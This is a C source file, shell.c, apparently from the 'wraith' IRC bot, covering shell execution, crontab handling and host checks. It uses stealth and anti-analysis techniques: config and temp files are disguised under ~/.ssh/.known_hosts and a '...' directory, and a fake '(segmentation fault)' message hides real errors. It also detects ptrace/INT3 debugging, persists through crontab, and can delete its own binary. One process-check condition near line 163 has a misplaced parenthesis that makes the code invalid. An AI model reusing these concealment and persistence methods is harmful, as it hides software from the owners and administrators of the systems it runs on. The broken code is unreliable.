shell.c 27 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075
  1. /*
  2. * shell.c -- handles:
  3. *
  4. * All shell related functions
  5. * -shell_exec()
  6. * -botconfig parsing
  7. * -check_*()
  8. * -crontab functions
  9. *
  10. */
  11. #include "common.h"
  12. #include "shell.h"
  13. #include "cfg.h"
  14. #include "flags.h"
  15. #include "tandem.h"
  16. #include "main.h"
  17. #include "dccutil.h"
  18. #include "modules.h"
  19. #include "misc.h"
  20. #include "misc_file.h"
  21. #include "bg.h"
  22. #include "stat.h"
  23. #include "users.h"
  24. #include <sys/types.h>
  25. #include <pwd.h>
  26. #include <signal.h>
  27. #ifdef S_ANTITRACE
  28. #include <sys/ptrace.h>
  29. #include <sys/wait.h>
  30. #endif /* S_ANTITRACE */
  31. #include <sys/utsname.h>
  32. #include <pwd.h>
  33. #include <errno.h>
  34. #include <net/if.h>
  35. #include <sys/ioctl.h>
  36. #include <sys/socket.h>
  37. #include <libgen.h>
  38. #include <ctype.h>
  39. #include <fcntl.h>
  40. #include <sys/stat.h>
  41. #include <unistd.h>
  42. #include <dirent.h>
  43. extern struct cfg_entry CFG_LOGIN, CFG_BADPROCESS, CFG_PROCESSLIST, CFG_PROMISC,
  44. CFG_TRACE, CFG_HIJACK;
  45. extern char tempdir[], *binname, owneremail[];
  46. extern time_t now;
  47. extern struct userrec *userlist;
  48. extern uid_t myuid;
  49. extern conf_t conf;
  50. int clear_tmp()
  51. {
  52. DIR *tmp;
  53. struct dirent *dir_ent;
  54. if (!(tmp = opendir(tempdir))) return 1;
  55. while ((dir_ent = readdir(tmp))) {
  56. if (strncmp(dir_ent->d_name, ".pid.", 4) && strncmp(dir_ent->d_name, ".u", 2) && strcmp(dir_ent->d_name, ".bin.old")
  57. && strcmp(dir_ent->d_name, ".") && strcmp(dir_ent->d_name, ".un") && strcmp(dir_ent->d_name, "..")) {
  58. char *file = malloc(strlen(dir_ent->d_name) + strlen(tempdir) + 1);
  59. file[0] = 0;
  60. strcat(file, tempdir);
  61. strcat(file, dir_ent->d_name);
  62. file[strlen(file)] = 0;
  63. sdprintf("clear_tmp: %s", file);
  64. unlink(file);
  65. free(file);
  66. }
  67. }
  68. closedir(tmp);
  69. return 0;
  70. }
  71. #ifdef LEAF
  72. void check_mypid()
  73. {
  74. if (getpid() != checkpid(conf.bot->nick, NULL)) {
  75. module_entry *me;
  76. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  77. if ((me = module_find("server", 0, 0))) {
  78. Function *func = me->funcs;
  79. (func[SERVER_NUKESERVER]) ("cloned process");
  80. }
  81. botnet_send_bye();
  82. exit(1);
  83. }
  84. }
  85. #endif /* LEAF */
  86. #ifdef S_LASTCHECK
  87. char last_buf[128] = "";
  88. #endif /* S_LASTCHECK */
  89. void check_last() {
  90. #ifdef S_LASTCHECK
  91. if (!strcmp((char *) CFG_LOGIN.ldata ? CFG_LOGIN.ldata : CFG_LOGIN.gdata ? CFG_LOGIN.gdata : "ignore", "ignore"))
  92. return;
  93. if (conf.username) {
  94. char *out;
  95. char buf[50];
  96. sprintf(buf, STR("last %s"), conf.username);
  97. if (shell_exec(buf, NULL, &out, NULL)) {
  98. if (out) {
  99. char *p;
  100. p = strchr(out, '\n');
  101. if (p)
  102. *p = 0;
  103. if (strlen(out) > 10) {
  104. if (last_buf[0]) {
  105. if (strncmp(last_buf, out, sizeof(last_buf))) {
  106. char wrk[16384];
  107. sprintf(wrk, STR("Login: %s"), out);
  108. detected(DETECT_LOGIN, wrk);
  109. }
  110. }
  111. strncpyz(last_buf, out, sizeof(last_buf));
  112. }
  113. free(out);
  114. }
  115. }
  116. }
  117. #endif /* S_LASTCHECK */
  118. }
  119. void check_processes()
  120. {
  121. #ifdef S_PROCESSCHECK
  122. char *proclist = NULL, *out = NULL, *p = NULL, *np = NULL, *curp = NULL, buf[1024] = "", bin[128] = "";
  123. if (!strcmp((char *) CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : "ignore", "ignore"))
  124. return;
  125. proclist = (char *) (CFG_PROCESSLIST.ldata && ((char *) CFG_PROCESSLIST.ldata)[0] ?
  126. CFG_PROCESSLIST.ldata : CFG_PROCESSLIST.gdata && ((char *) CFG_PROCESSLIST.gdata)[0] ? CFG_PROCESSLIST.gdata : NULL);
  127. if (!proclist)
  128. return;
  129. if (!shell_exec(STR("ps x"), NULL, &out, NULL))
  130. return;
  131. /* Get this binary's filename */
  132. strncpyz(buf, binname, sizeof(buf));
  133. p = strrchr(buf, '/');
  134. if (p) {
  135. p++;
  136. strncpyz(bin, p, sizeof(bin));
  137. } else {
  138. bin[0] = 0;
  139. }
  140. /* Fix up the "permitted processes" list */
  141. p = malloc(strlen(proclist) + strlen(bin) + 6);
  142. strcpy(p, proclist);
  143. strcat(p, " ");
  144. strcat(p, bin);
  145. strcat(p, " ");
  146. proclist = p;
  147. curp = out;
  148. while (curp) {
  149. np = strchr(curp, '\n');
  150. if (np)
  151. *np++ = 0;
  152. if (atoi(curp) > 0) {
  153. char *pid = NULL, *tty = NULL, *stat = NULL, *time = NULL, cmd[512] = "", line[2048] = "";
  154. strncpyz(line, curp, sizeof(line));
  155. /* it's a process line */
  156. /* Assuming format: pid tty stat time cmd */
  157. pid = newsplit(&curp);
  158. tty = newsplit(&curp);
  159. stat = newsplit(&curp);
  160. time = newsplit(&curp);
  161. strncpyz(cmd, curp, sizeof(cmd));
  162. /* skip any <defunct> procs "/bin/sh -c" crontab stuff and binname crontab stuff */
  163. if (!strstr(cmd, "<defunct>" && !strncmp(cmd, "/bin/sh -c", 10)
  164. && !strncmp(cmd, binname, strlen(binname))) {
  165. /* get rid of any args */
  166. if ((p = strchr(cmd, ' ')))
  167. *p = 0;
  168. /* remove [] or () */
  169. if (strlen(cmd)) {
  170. p = cmd + strlen(cmd) - 1;
  171. if (((cmd[0] == '(') && (*p == ')')) || ((cmd[0] == '[') && (*p == ']'))) {
  172. *p = 0;
  173. strcpy(buf, cmd + 1);
  174. strcpy(cmd, buf);
  175. }
  176. }
  177. /* remove path */
  178. if ((p = strrchr(cmd, '/'))) {
  179. p++;
  180. strcpy(buf, p);
  181. strcpy(cmd, buf);
  182. }
  183. /* skip "ps" */
  184. if (strcmp(cmd, "ps")) {
  185. /* see if proc's in permitted list */
  186. strcat(cmd, " ");
  187. if ((p = strstr(proclist, cmd))) {
  188. /* Remove from permitted list */
  189. while (*p != ' ')
  190. *p++ = 1;
  191. } else {
  192. char wrk[16384] = "";
  193. egg_snprintf(wrk, sizeof wrk, STR("Unexpected process: %s"), line);
  194. detected(DETECT_PROCESS, wrk);
  195. }
  196. }
  197. }
  198. }
  199. curp = np;
  200. }
  201. free(proclist);
  202. if (out)
  203. free(out);
  204. #endif /* S_PROCESSCHECK */
  205. }
  206. void check_promisc()
  207. {
  208. #ifdef S_PROMISC
  209. #ifdef SIOCGIFCONF
  210. struct ifreq ifreq, *ifr;
  211. struct ifconf ifcnf;
  212. char *cp = NULL, *cplim = NULL, buf[8192] = "";
  213. int sock;
  214. if (!strcmp((char *) CFG_PROMISC.ldata ? CFG_PROMISC.ldata : CFG_PROMISC.gdata ? CFG_PROMISC.gdata : "ignore", "ignore"))
  215. return;
  216. sock = socket(AF_INET, SOCK_STREAM, 0);
  217. ifcnf.ifc_len = 8191;
  218. ifcnf.ifc_buf = buf;
  219. if (ioctl(sock, SIOCGIFCONF, (char *) &ifcnf) < 0) {
  220. close(sock);
  221. return;
  222. }
  223. ifr = ifcnf.ifc_req;
  224. cplim = buf + ifcnf.ifc_len;
  225. for (cp = buf; cp < cplim; cp += sizeof(ifr->ifr_name) + sizeof(ifr->ifr_addr)) {
  226. ifr = (struct ifreq *) cp;
  227. ifreq = *ifr;
  228. if (!ioctl(sock, SIOCGIFFLAGS, (char *) &ifreq)) {
  229. if (ifreq.ifr_flags & IFF_PROMISC) {
  230. close(sock);
  231. detected(DETECT_PROMISC, STR("Detected promiscuous mode"));
  232. return;
  233. }
  234. }
  235. }
  236. close(sock);
  237. #endif /* SIOCGIFCONF */
  238. #endif /* S_PROMISC */
  239. }
  240. #ifdef S_ANTITRACE
  241. int traced = 0;
  242. static void got_trace(int z)
  243. {
  244. traced = 0;
  245. }
  246. #endif /* S_ANTITRACE */
  247. void check_trace()
  248. {
  249. #ifdef S_ANTITRACE
  250. int x, parent, i;
  251. struct sigaction sv, *oldsv = NULL;
  252. if (!strcmp((char *) CFG_TRACE.ldata ? CFG_TRACE.ldata : CFG_TRACE.gdata ? CFG_TRACE.gdata : "ignore", "ignore"))
  253. return;
  254. parent = getpid();
  255. #ifdef __linux__
  256. egg_bzero(&sv, sizeof(sv));
  257. sv.sa_handler = got_trace;
  258. sigemptyset(&sv.sa_mask);
  259. oldsv = NULL;
  260. sigaction(SIGTRAP, &sv, oldsv);
  261. traced = 1;
  262. asm("INT3");
  263. sigaction(SIGTRAP, oldsv, NULL);
  264. if (traced)
  265. detected(DETECT_TRACE, STR("I'm being traced!"));
  266. else {
  267. x = fork();
  268. if (x == -1)
  269. return;
  270. else if (x == 0) {
  271. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  272. if (i == (-1) && errno == EPERM)
  273. detected(DETECT_TRACE, STR("I'm being traced!"));
  274. else {
  275. waitpid(parent, &i, 0);
  276. kill(parent, SIGCHLD);
  277. ptrace(PTRACE_DETACH, parent, 0, 0);
  278. kill(parent, SIGCHLD);
  279. }
  280. exit(0);
  281. } else
  282. wait(&i);
  283. }
  284. #endif /* __linux__ */
  285. #ifdef __FreeBSD__
  286. x = fork();
  287. if (x == -1)
  288. return;
  289. else if (x == 0) {
  290. i = ptrace(PT_ATTACH, parent, 0, 0);
  291. if (i == (-1) && errno == EBUSY)
  292. detected(DETECT_TRACE, STR("I'm being traced"));
  293. else {
  294. wait(&i);
  295. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  296. kill(parent, SIGCHLD);
  297. wait(&i);
  298. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  299. wait(&i);
  300. }
  301. exit(0);
  302. } else
  303. waitpid(x, NULL, 0);
  304. #endif /* __FreeBSD__ */
  305. #ifdef __OpenBSD__
  306. x = fork();
  307. if (x == -1)
  308. return;
  309. else if (x == 0) {
  310. i = ptrace(PT_ATTACH, parent, 0, 0);
  311. if (i == (-1) && errno == EBUSY)
  312. detected(DETECT_TRACE, STR("I'm being traced"));
  313. else {
  314. wait(&i);
  315. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  316. kill(parent, SIGCHLD);
  317. wait(&i);
  318. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  319. wait(&i);
  320. }
  321. exit(0);
  322. } else
  323. waitpid(x, NULL, 0);
  324. #endif /* __OpenBSD__ */
  325. #endif /* S_ANTITRACE */
  326. }
  327. int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
  328. {
  329. FILE *inpFile = NULL, *outFile = NULL, *errFile = NULL;
  330. char tmpfile[161] = "";
  331. int x, fd;
  332. int parent = getpid();
  333. if (!cmdline)
  334. return 0;
  335. /* Set up temp files */
  336. /* always use mkstemp() when handling temp filess! -dizz */
  337. sprintf(tmpfile, STR("%s.in-XXXXXX"), tempdir);
  338. if ((fd = mkstemp(tmpfile)) == -1 || (inpFile = fdopen(fd, "w+")) == NULL) {
  339. if (fd != -1) {
  340. unlink(tmpfile);
  341. close(fd);
  342. }
  343. putlog(LOG_ERRORS, "*" , STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  344. return 0;
  345. }
  346. unlink(tmpfile);
  347. if (input) {
  348. if (fwrite(input, 1, strlen(input), inpFile) != strlen(input)) {
  349. fclose(inpFile);
  350. putlog(LOG_ERRORS, "*", STR("exec: Couldn't write to '%s': %s"), tmpfile, strerror(errno));
  351. return 0;
  352. }
  353. fseek(inpFile, 0, SEEK_SET);
  354. }
  355. unlink(tmpfile);
  356. sprintf(tmpfile, STR("%s.err-XXXXXX"), tempdir);
  357. if ((fd = mkstemp(tmpfile)) == -1 || (errFile = fdopen(fd, "w+")) == NULL) {
  358. if (fd != -1) {
  359. unlink(tmpfile);
  360. close(fd);
  361. }
  362. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  363. return 0;
  364. }
  365. unlink(tmpfile);
  366. sprintf(tmpfile, STR("%s.out-XXXXXX"), tempdir);
  367. if ((fd = mkstemp(tmpfile)) == -1 || (outFile = fdopen(fd, "w+")) == NULL) {
  368. if (fd != -1) {
  369. unlink(tmpfile);
  370. close(fd);
  371. }
  372. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  373. return 0;
  374. }
  375. unlink(tmpfile);
  376. x = fork();
  377. if (x == -1) {
  378. putlog(LOG_ERRORS, "*", STR("exec: fork() failed: %s"), strerror(errno));
  379. fclose(inpFile);
  380. fclose(errFile);
  381. fclose(outFile);
  382. return 0;
  383. }
  384. if (x) {
  385. /* Parent: wait for the child to complete */
  386. int st = 0;
  387. waitpid(x, &st, 0);
  388. /* Now read the files into the buffers */
  389. fclose(inpFile);
  390. fflush(outFile);
  391. fflush(errFile);
  392. if (erroutput) {
  393. char *buf = NULL;
  394. int fs;
  395. fseek(errFile, 0, SEEK_END);
  396. fs = ftell(errFile);
  397. if (fs == 0) {
  398. (*erroutput) = NULL;
  399. } else {
  400. buf = malloc(fs + 1);
  401. fseek(errFile, 0, SEEK_SET);
  402. fread(buf, 1, fs, errFile);
  403. buf[fs] = 0;
  404. (*erroutput) = buf;
  405. }
  406. }
  407. fclose(errFile);
  408. if (output) {
  409. char *buf;
  410. int fs;
  411. fseek(outFile, 0, SEEK_END);
  412. fs = ftell(outFile);
  413. if (fs == 0) {
  414. (*output) = NULL;
  415. } else {
  416. buf = malloc(fs + 1);
  417. fseek(outFile, 0, SEEK_SET);
  418. fread(buf, 1, fs, outFile);
  419. buf[fs] = 0;
  420. (*output) = buf;
  421. }
  422. }
  423. fclose(outFile);
  424. return 1;
  425. } else {
  426. /* Child: make fd's and set them up as std* */
  427. int ind,
  428. outd,
  429. errd;
  430. char *argv[4];
  431. ind = fileno(inpFile);
  432. outd = fileno(outFile);
  433. errd = fileno(errFile);
  434. if (dup2(ind, STDIN_FILENO) == (-1)) {
  435. kill(parent, SIGCHLD);
  436. exit(1);
  437. }
  438. if (dup2(outd, STDOUT_FILENO) == (-1)) {
  439. kill(parent, SIGCHLD);
  440. exit(1);
  441. }
  442. if (dup2(errd, STDERR_FILENO) == (-1)) {
  443. kill(parent, SIGCHLD);
  444. exit(1);
  445. }
  446. argv[0] = STR("sh");
  447. argv[1] = STR("-c");
  448. argv[2] = cmdline;
  449. argv[3] = NULL;
  450. execvp(argv[0], &argv[0]);
  451. kill(parent, SIGCHLD);
  452. exit(1);
  453. }
  454. }
  455. void detected(int code, char *msg)
  456. {
  457. #ifdef LEAF
  458. module_entry *me;
  459. #endif /* LEAF */
  460. char *p = NULL, tmp[512] = "";
  461. struct userrec *u;
  462. struct flag_record fr = { FR_GLOBAL, 0, 0 };
  463. int act;
  464. u = get_user_by_handle(userlist, conf.bot->nick);
  465. #ifdef S_LASTCHECK
  466. if (code == DETECT_LOGIN)
  467. p = (char *) (CFG_LOGIN.ldata ? CFG_LOGIN.ldata : (CFG_LOGIN.gdata ? CFG_LOGIN.gdata : NULL));
  468. #endif /* S_LASTCHECK */
  469. #ifdef S_ANTITRACE
  470. if (code == DETECT_TRACE)
  471. p = (char *) (CFG_TRACE.ldata ? CFG_TRACE.ldata : (CFG_TRACE.gdata ? CFG_TRACE.gdata : NULL));
  472. #endif /* S_ANTITRACE */
  473. #ifdef S_PROMISC
  474. if (code == DETECT_PROMISC)
  475. p = (char *) (CFG_PROMISC.ldata ? CFG_PROMISC.ldata : (CFG_PROMISC.gdata ? CFG_PROMISC.gdata : NULL));
  476. #endif /* S_PROMISC */
  477. #ifdef S_PROCESSCHECK
  478. if (code == DETECT_PROCESS)
  479. p = (char *) (CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : (CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : NULL));
  480. #endif /* S_PROMISC */
  481. #ifdef S_HIJACKCHECK
  482. if (code == DETECT_SIGCONT)
  483. p = (char *) (CFG_HIJACK.ldata ? CFG_HIJACK.ldata : (CFG_HIJACK.gdata ? CFG_HIJACK.gdata : NULL));
  484. #endif /* S_PROMISC */
  485. if (!p)
  486. act = DET_WARN;
  487. else if (!strcmp(p, STR("die")))
  488. act = DET_DIE;
  489. else if (!strcmp(p, STR("reject")))
  490. act = DET_REJECT;
  491. else if (!strcmp(p, STR("suicide")))
  492. act = DET_SUICIDE;
  493. else if (!strcmp(p, STR("ignore")))
  494. act = DET_IGNORE;
  495. else
  496. act = DET_WARN;
  497. switch (act) {
  498. case DET_IGNORE:
  499. break;
  500. case DET_WARN:
  501. putlog(LOG_WARN, "*", msg);
  502. break;
  503. case DET_REJECT:
  504. do_fork();
  505. putlog(LOG_WARN, "*", STR("Setting myself +d: %s"), msg);
  506. sprintf(tmp, STR("+d: %s"), msg);
  507. set_user(&USERENTRY_COMMENT, u, tmp);
  508. get_user_flagrec(u, &fr, 0);
  509. fr.global = USER_DEOP | USER_BOT;
  510. set_user_flagrec(u, &fr, 0);
  511. sleep(1);
  512. break;
  513. case DET_DIE:
  514. putlog(LOG_WARN, "*", STR("Dying: %s"), msg);
  515. sprintf(tmp, STR("Dying: %s"), msg);
  516. set_user(&USERENTRY_COMMENT, u, tmp);
  517. #ifdef LEAF
  518. if ((me = module_find("server", 0, 0))) {
  519. Function *func = me->funcs;
  520. (func[SERVER_NUKESERVER]) ("BBL");
  521. }
  522. #endif /* LEAF */
  523. sleep(1);
  524. fatal(msg, 0);
  525. break;
  526. case DET_SUICIDE:
  527. putlog(LOG_WARN, "*", STR("Comitting suicide: %s"), msg);
  528. sprintf(tmp, STR("Suicide: %s"), msg);
  529. set_user(&USERENTRY_COMMENT, u, tmp);
  530. #ifdef LEAF
  531. if ((me = module_find("server", 0, 0))) {
  532. Function *func = me->funcs;
  533. (func[SERVER_NUKESERVER]) ("HARAKIRI!!");
  534. }
  535. #endif /* LEAF */
  536. sleep(1);
  537. unlink(binname);
  538. #ifdef HUB
  539. unlink(userfile);
  540. sprintf(tmp, STR("%s~"), userfile);
  541. unlink(tmp);
  542. #endif /* HUB */
  543. fatal(msg, 0);
  544. break;
  545. }
  546. }
  547. char *werr_tostr(int errnum)
  548. {
  549. switch (errnum) {
  550. case ERR_BINSTAT:
  551. return STR("Cannot access binary");
  552. case ERR_BINMOD:
  553. return STR("Cannot chmod() binary");
  554. case ERR_PASSWD:
  555. return STR("Cannot access the global passwd file");
  556. case ERR_WRONGBINDIR:
  557. return STR("Wrong directory/binary name");
  558. case ERR_CONFSTAT:
  559. #ifdef LEAF
  560. return STR("Cannot access config directory (~/.ssh/)");
  561. #else
  562. return STR("Cannot access config directory (./)");
  563. #endif /* LEAF */
  564. case ERR_TMPSTAT:
  565. #ifdef LEAF
  566. return STR("Cannot access tmp directory (~/.ssh/.../)");
  567. #else
  568. return STR("Cannot access config directory (./tmp/)");
  569. #endif /* LEAF */
  570. case ERR_CONFDIRMOD:
  571. #ifdef LEAF
  572. return STR("Cannot chmod() config directory (~/.ssh/)");
  573. #else
  574. return STR("Cannot chmod() config directory (./)");
  575. #endif /* LEAF */
  576. case ERR_CONFMOD:
  577. #ifdef LEAF
  578. return STR("Cannot chmod() config (~/.ssh/.known_hosts/)");
  579. #else
  580. return STR("Cannot chmod() config (./conf)");
  581. #endif /* LEAF */
  582. case ERR_TMPMOD:
  583. #ifdef LEAF
  584. return STR("Cannot chmod() tmp directory (~/.ssh/.../)");
  585. #else
  586. return STR("Cannot chmod() tmp directory (./tmp)");
  587. #endif /* LEAF */
  588. case ERR_NOCONF:
  589. #ifdef LEAF
  590. return STR("The local config is missing (~/.ssh/.known_hosts)");
  591. #else
  592. return STR("The local config is missing (./conf)");
  593. #endif /* LEAF */
  594. case ERR_CONFBADENC:
  595. return STR("Encryption in config is wrong/corrupt");
  596. case ERR_WRONGUID:
  597. return STR("UID in conf does not match geteuid()");
  598. case ERR_WRONGUNAME:
  599. return STR("Uname in conf does not match uname()");
  600. case ERR_BADCONF:
  601. return STR("Config file is incomplete");
  602. case ERR_BADBOT:
  603. return STR("No such botnick");
  604. default:
  605. return STR("Unforseen error");
  606. }
  607. }
  608. void werr(int errnum)
  609. {
  610. putlog(LOG_MISC, "*", STR("error #%d"), errnum);
  611. sdprintf(STR("error translates to: %s"), werr_tostr(errnum));
  612. printf(STR("(segmentation fault)\n"));
  613. fatal("", 0);
  614. }
  615. int email(char *subject, char *msg, int who)
  616. {
  617. struct utsname un;
  618. char open[2048] = "", addrs[1024] = "";
  619. int mail = 0, sendmail = 0;
  620. FILE *f = NULL;
  621. uname(&un);
  622. if (is_file("/usr/sbin/sendmail"))
  623. sendmail++;
  624. else if (is_file("/usr/bin/mail"))
  625. mail++;
  626. else {
  627. putlog(LOG_WARN, "*", "I Have no usable mail client.");
  628. return 1;
  629. }
  630. open[0] = addrs[0] = 0;
  631. if (who & EMAIL_OWNERS) {
  632. sprintf(addrs, "%s", replace(owneremail, ",", " "));
  633. }
  634. if (who & EMAIL_TEAM) {
  635. if (addrs[0])
  636. sprintf(addrs, "%s wraith@shatow.net", addrs);
  637. else
  638. sprintf(addrs, "wraith@shatow.net");
  639. }
  640. if (sendmail)
  641. sprintf(open, "/usr/sbin/sendmail -t");
  642. else if (mail)
  643. sprintf(open, "/usr/bin/mail %s -a \"From: %s@%s\" -s \"%s\" -a \"Content-Type: text/plain\"", addrs, conf.bot->nick ? conf.bot->nick : "none", un.nodename, subject);
  644. if ((f = popen(open, "w"))) {
  645. if (sendmail) {
  646. fprintf(f, "To: %s\n", addrs);
  647. fprintf(f, "From: %s@%s\n", conf.bot->nick ? conf.bot->nick : conf.username, un.nodename);
  648. fprintf(f, "Subject: %s\n", subject);
  649. fprintf(f, "Content-Type: text/plain\n");
  650. }
  651. fprintf(f, "%s\n", msg);
  652. if (fflush(f))
  653. return 1;
  654. if (pclose(f))
  655. return 1;
  656. } else
  657. return 1;
  658. return 0;
  659. }
  660. void baduname(char *confhas, char *my_uname) {
  661. char *tmpfile = malloc(strlen(tempdir) + 3 + 1);
  662. int send = 0;
  663. tmpfile[0] = 0;
  664. sprintf(tmpfile, "%s.un", tempdir);
  665. sdprintf("CHECKING %s", tmpfile);
  666. if (is_file(tmpfile)) {
  667. struct stat ss;
  668. time_t diff;
  669. stat(tmpfile, &ss);
  670. diff = now - ss.st_mtime;
  671. if (diff >= 86400) send++; /* only send once a day */
  672. } else {
  673. FILE *fp = NULL;
  674. if ((fp = fopen(tmpfile, "w"))) {
  675. fprintf(fp, "\n");
  676. fflush(fp);
  677. fclose(fp);
  678. send++; /* only send if we could write the file. */
  679. }
  680. }
  681. if (send) {
  682. struct utsname un;
  683. char msg[501] = "", subject[31] = "";
  684. uname(&un);
  685. egg_snprintf(subject, sizeof subject, "CONF/UNAME() mismatch notice");
  686. egg_snprintf(msg, sizeof msg, "This is an auto email from a wraith bot which has you in it's OWNER_EMAIL list..\n \nThe uname() output on this box has changed, probably due to a kernel upgrade...\nMy login is: %s\nConf : %s\nUname(): %s\n \nThis email will only be sent once a day while this error is present.\nYou need to login to my shell (%s) and fix my local config.\n", conf.username, confhas, my_uname, un.nodename);
  687. email(subject, msg, EMAIL_OWNERS);
  688. }
  689. free(tmpfile);
  690. }
  691. char *homedir()
  692. {
  693. static char homedir[DIRMAX] = "";
  694. if (!homedir || (homedir && !homedir[0])) {
  695. char tmp[DIRMAX] = "";
  696. if (conf.homedir)
  697. egg_snprintf(tmp, sizeof tmp, "%s", conf.homedir);
  698. else {
  699. struct passwd *pw;
  700. ContextNote("Calling getpwuid");
  701. pw = getpwuid(myuid);
  702. egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
  703. }
  704. ContextNote("Calling realpath");
  705. realpath(tmp, homedir); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
  706. }
  707. return homedir;
  708. }
  709. char *confdir()
  710. {
  711. static char confdir[DIRMAX] = "";
  712. if (!confdir || (confdir && !confdir[0])) {
  713. #ifdef LEAF
  714. {
  715. egg_snprintf(confdir, sizeof confdir, "%s/.ssh", homedir());
  716. }
  717. #endif /* LEAF */
  718. #ifdef HUB
  719. {
  720. char *buf = strdup(binname);
  721. egg_snprintf(confdir, sizeof confdir, "%s", dirname(buf));
  722. free(buf);
  723. }
  724. #endif /* HUB */
  725. }
  726. return confdir;
  727. }
  728. char *my_uname()
  729. {
  730. static char os_uname[250] = "";
  731. if (!os_uname || (os_uname && !os_uname[0])) {
  732. char *unix_n = NULL, *vers_n = NULL;
  733. struct utsname un;
  734. if (uname(&un) < 0) {
  735. unix_n = "*unkown*";
  736. vers_n = "";
  737. } else {
  738. unix_n = un.nodename;
  739. #ifdef __FreeBSD__
  740. vers_n = un.release;
  741. #else /* __linux__ */
  742. vers_n = un.version;
  743. #endif /* __FreeBSD__ */
  744. }
  745. egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
  746. }
  747. return os_uname;
  748. }
  749. void check_crontab()
  750. {
  751. int i = 0;
  752. #ifdef LEAF
  753. if (!conf.bot->localhub)
  754. fatal(STR("something is wrong."), 0);
  755. #endif /* LEAF */
  756. if (!(i = crontab_exists())) {
  757. crontab_create(5);
  758. if (!(i = crontab_exists()))
  759. printf(STR("* Error writing crontab entry.\n"));
  760. }
  761. }
  762. void crontab_del() {
  763. char *tmpfile = NULL, *p = NULL, buf[2048] = "";
  764. tmpfile = malloc(strlen(binname) + 100);
  765. strcpy(tmpfile, binname);
  766. if (!(p = strrchr(tmpfile, '/')))
  767. return;
  768. p++;
  769. strcpy(p, ".ctb");
  770. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s"), binname, tmpfile);
  771. if (shell_exec(buf, NULL, NULL, NULL)) {
  772. sprintf(buf, STR("crontab %s"), tmpfile);
  773. shell_exec(buf, NULL, NULL, NULL);
  774. }
  775. unlink(tmpfile);
  776. }
  777. int crontab_exists() {
  778. char buf[2048] = "", *out = NULL;
  779. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  780. if (shell_exec(buf, NULL, &out, NULL)) {
  781. if (out && strstr(out, binname)) {
  782. free(out);
  783. return 1;
  784. } else {
  785. if (out)
  786. free(out);
  787. return 0;
  788. }
  789. } else
  790. return (-1);
  791. }
  792. void crontab_create(int interval) {
  793. char tmpfile[161] = "", buf[256] = "";
  794. FILE *f = NULL;
  795. int fd;
  796. /* always use mkstemp() when handling temp files! -dizz */
  797. egg_snprintf(tmpfile, sizeof tmpfile, "%s.crontab-XXXXXX", tempdir);
  798. if ((fd = mkstemp(tmpfile)) == -1) {
  799. unlink(tmpfile);
  800. return;
  801. }
  802. egg_snprintf(buf, sizeof buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  803. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  804. buf[0] = 0;
  805. if (interval == 1)
  806. strcpy(buf, "*");
  807. else {
  808. int i = 1;
  809. int si = random() % interval;
  810. while (i < 60) {
  811. if (buf[0])
  812. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  813. else
  814. sprintf(buf, "%i", (i + si) % 60);
